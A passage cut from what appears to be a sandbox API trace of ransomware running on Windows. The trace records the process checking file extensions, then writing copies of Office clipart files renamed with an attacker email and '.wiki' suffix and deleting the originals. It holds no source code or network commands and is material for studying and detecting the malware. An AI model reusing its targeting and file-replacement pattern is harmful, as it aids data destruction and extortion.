lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.664] lstrlenW (lpString=".bz2") returned 4 [0189.664] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.664] lstrlenW (lpString=".7z") returned 3 [0189.664] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 63 [0189.664] lstrlenW (lpString=".dbf") returned 4 [0189.664] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 63 [0189.664] lstrlenW (lpString=".1cd") returned 4 [0189.664] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 63 [0189.664] lstrlenW (lpString=".jpg") returned 4 [0189.664] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 63 [0189.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 63 [0189.664] lstrlenW (lpString=".doc") returned 4 [0189.664] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.664] lstrlenW (lpString=".docx") returned 5 [0189.664] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.664] lstrlenW (lpString=".pdf") returned 4 [0189.664] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.664] lstrlenW (lpString=".xls") returned 4 [0189.664] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.664] lstrlenW (lpString=".xlsx") returned 5 [0189.665] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.665] lstrlenW (lpString=".ppt") returned 4 [0189.665] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 63 [0189.665] lstrlenW (lpString=".zip") returned 4 [0189.665] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.665] lstrlenW (lpString=".rar") returned 4 [0189.665] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.665] lstrlenW (lpString=".bz2") returned 4 [0189.665] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.665] lstrlenW (lpString=".7z") returned 3 [0189.665] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 63 [0189.665] lstrlenW (lpString=".dbf") returned 4 [0189.665] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 63 [0189.665] lstrlenW (lpString=".1cd") returned 4 [0189.665] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 63 [0189.665] lstrlenW (lpString=".jpg") returned 4 [0189.665] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.665] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0189.665] lstrlenW (lpString="HH00669_.WMF") returned 12 [0189.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00669_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0189.666] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=11490) returned 1 [0189.666] CloseHandle (hObject=0x1f8) returned 1 [0189.666] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00669_.wmf")) returned 0x20 [0189.666] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00669_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0189.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00669_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0189.666] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.666] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00669_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0189.667] GetLastError () returned 0x0 [0189.667] ReadFile (in: hFile=0x1f8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x2ce2, lpOverlapped=0x0) returned 1 [0189.694] WriteFile (in: hFile=0x218, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x2cf0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x2cf0, lpOverlapped=0x0) returned 1 [0189.695] ReadFile (in: hFile=0x1f8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0189.695] WriteFile (in: hFile=0x218, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0189.695] SetEndOfFile (hFile=0x218) returned 1 [0189.695] CloseHandle (hObject=0x218) returned 1 [0189.695] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.695] SetEndOfFile (hFile=0x1f8) returned 1 [0189.696] CloseHandle (hObject=0x1f8) returned 1 [0189.696] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0189.696] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00669_.wmf")) returned 1 [0189.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 63 [0189.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 63 [0189.696] lstrlenW (lpString=".doc") returned 4 [0189.696] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.696] lstrlenW (lpString=".docx") returned 5 [0189.696] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.696] lstrlenW (lpString=".pdf") returned 4 [0189.696] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.696] lstrlenW (lpString=".xls") returned 4 [0189.696] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.696] lstrlenW (lpString=".xlsx") returned 5 [0189.697] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.697] lstrlenW (lpString=".ppt") returned 4 [0189.697] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 63 [0189.697] lstrlenW (lpString=".zip") returned 4 [0189.697] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.697] lstrlenW (lpString=".rar") returned 4 [0189.697] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.697] lstrlenW (lpString=".bz2") returned 4 [0189.697] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.697] lstrlenW (lpString=".7z") returned 3 [0189.697] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 63 [0189.697] lstrlenW (lpString=".dbf") returned 4 [0189.697] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 63 [0189.697] lstrlenW (lpString=".1cd") returned 4 [0189.697] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 63 [0189.697] lstrlenW (lpString=".jpg") returned 4 [0189.697] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 63 [0189.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 63 [0189.697] lstrlenW (lpString=".doc") returned 4 [0189.697] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.697] lstrlenW (lpString=".docx") returned 5 [0189.697] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.697] lstrlenW (lpString=".pdf") returned 4 [0189.697] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.697] lstrlenW (lpString=".xls") returned 4 [0189.698] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.698] lstrlenW (lpString=".xlsx") returned 5 [0189.698] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.698] lstrlenW (lpString=".ppt") returned 4 [0189.698] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 63 [0189.698] lstrlenW (lpString=".zip") returned 4 [0189.698] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.698] lstrlenW (lpString=".rar") returned 4 [0189.698] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.698] lstrlenW (lpString=".bz2") returned 4 [0189.698] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.698] lstrlenW (lpString=".7z") returned 3 [0189.698] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 63 [0189.698] lstrlenW (lpString=".dbf") returned 4 [0189.698] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 63 [0189.698] lstrlenW (lpString=".1cd") returned 4 [0189.698] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 63 [0189.698] lstrlenW (lpString=".jpg") returned 4 [0189.698] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.698] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0189.698] lstrlenW (lpString="HH00688_.WMF") returned 12 [0189.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00688_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0189.699] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=7084) returned 1 [0189.699] CloseHandle (hObject=0x1f8) returned 1 [0189.699] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00688_.wmf")) returned 0x20 [0189.699] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00688_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0189.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00688_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0189.699] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.699] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00688_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0189.700] GetLastError () returned 0x0 [0189.700] ReadFile (in: hFile=0x1f8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x1bac, lpOverlapped=0x0) returned 1 [0189.721] WriteFile (in: hFile=0x218, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x1bb0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x1bb0, lpOverlapped=0x0) returned 1 [0189.722] ReadFile (in: hFile=0x1f8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0189.722] WriteFile (in: hFile=0x218, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0189.722] SetEndOfFile (hFile=0x218) returned 1 [0189.722] CloseHandle (hObject=0x218) returned 1 [0189.722] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.722] SetEndOfFile (hFile=0x1f8) returned 1 [0189.723] CloseHandle (hObject=0x1f8) returned 1 [0189.723] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0189.723] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00688_.wmf")) returned 1 [0189.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 63 [0189.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 63 [0189.723] lstrlenW (lpString=".doc") returned 4 [0189.723] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.723] lstrlenW (lpString=".docx") returned 5 [0189.723] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.723] lstrlenW (lpString=".pdf") returned 4 [0189.723] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.723] lstrlenW (lpString=".xls") returned 4 [0189.724] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.724] lstrlenW (lpString=".xlsx") returned 5 [0189.724] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.724] lstrlenW (lpString=".ppt") returned 4 [0189.724] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 63 [0189.724] lstrlenW (lpString=".zip") returned 4 [0189.724] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.724] lstrlenW (lpString=".rar") returned 4 [0189.724] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.724] lstrlenW (lpString=".bz2") returned 4 [0189.724] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.724] lstrlenW (lpString=".7z") returned 3 [0189.724] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 63 [0189.724] lstrlenW (lpString=".dbf") returned 4 [0189.724] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 63 [0189.724] lstrlenW (lpString=".1cd") returned 4 [0189.724] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 63 [0189.724] lstrlenW (lpString=".jpg") returned 4 [0189.724] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 63 [0189.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 63 [0189.725] lstrlenW (lpString=".doc") returned 4 [0189.725] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.725] lstrlenW (lpString=".docx") returned 5 [0189.725] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.725] lstrlenW (lpString=".pdf") returned 4 [0189.725] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.725] lstrlenW (lpString=".xls") returned 4 [0189.725] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.725] lstrlenW (lpString=".xlsx") returned 5 [0189.725] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.725] lstrlenW (lpString=".ppt") returned 4 [0189.725] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 63 [0189.725] lstrlenW (lpString=".zip") returned 4 [0189.725] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.725] lstrlenW (lpString=".rar") returned 4 [0189.725] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.725] lstrlenW (lpString=".bz2") returned 4 [0189.725] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.725] lstrlenW (lpString=".7z") returned 3 [0189.725] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 63 [0189.725] lstrlenW (lpString=".dbf") returned 4 [0189.725] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 63 [0189.725] lstrlenW (lpString=".1cd") returned 4 [0189.725] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 63 [0189.725] lstrlenW (lpString=".jpg") returned 4 [0189.725] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.726] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0189.726] lstrlenW (lpString="HH01015_.WMF") returned 12 [0189.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01015_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0189.726] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=1148) returned 1 [0189.726] CloseHandle (hObject=0x1f8) returned 1 [0189.726] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01015_.wmf")) returned 0x20 [0189.726] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01015_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0189.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0189.726] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.726] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01015_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0189.727] GetLastError () returned 0x0 [0189.727] ReadFile (in: hFile=0x1f8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x47c, lpOverlapped=0x0) returned 1 [0189.733] WriteFile (in: hFile=0x218, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x480, lpOverlapped=0x0) returned 1 [0189.890] ReadFile (in: hFile=0x1f8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0189.890] WriteFile (in: hFile=0x218, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0189.897] SetEndOfFile (hFile=0x218) returned 1 [0189.913] CloseHandle (hObject=0x218) returned 1 [0189.920] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0189.920] SetEndOfFile (hFile=0x1f8) returned 1 [0189.923] CloseHandle (hObject=0x1f8) returned 1 [0189.923] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0189.923] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01015_.wmf")) returned 1 [0189.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 63 [0189.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 63 [0189.923] lstrlenW (lpString=".doc") returned 4 [0189.923] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.923] lstrlenW (lpString=".docx") returned 5 [0189.923] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.923] lstrlenW (lpString=".pdf") returned 4 [0189.923] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.923] lstrlenW (lpString=".xls") returned 4 [0189.923] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.923] lstrlenW (lpString=".xlsx") returned 5 [0189.923] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.923] lstrlenW (lpString=".ppt") returned 4 [0189.923] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 63 [0189.923] lstrlenW (lpString=".zip") returned 4 [0189.924] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.924] lstrlenW (lpString=".rar") returned 4 [0189.924] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.924] lstrlenW (lpString=".bz2") returned 4 [0189.924] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.924] lstrlenW (lpString=".7z") returned 3 [0189.924] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 63 [0189.924] lstrlenW (lpString=".dbf") returned 4 [0189.924] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.924] lstrlenW 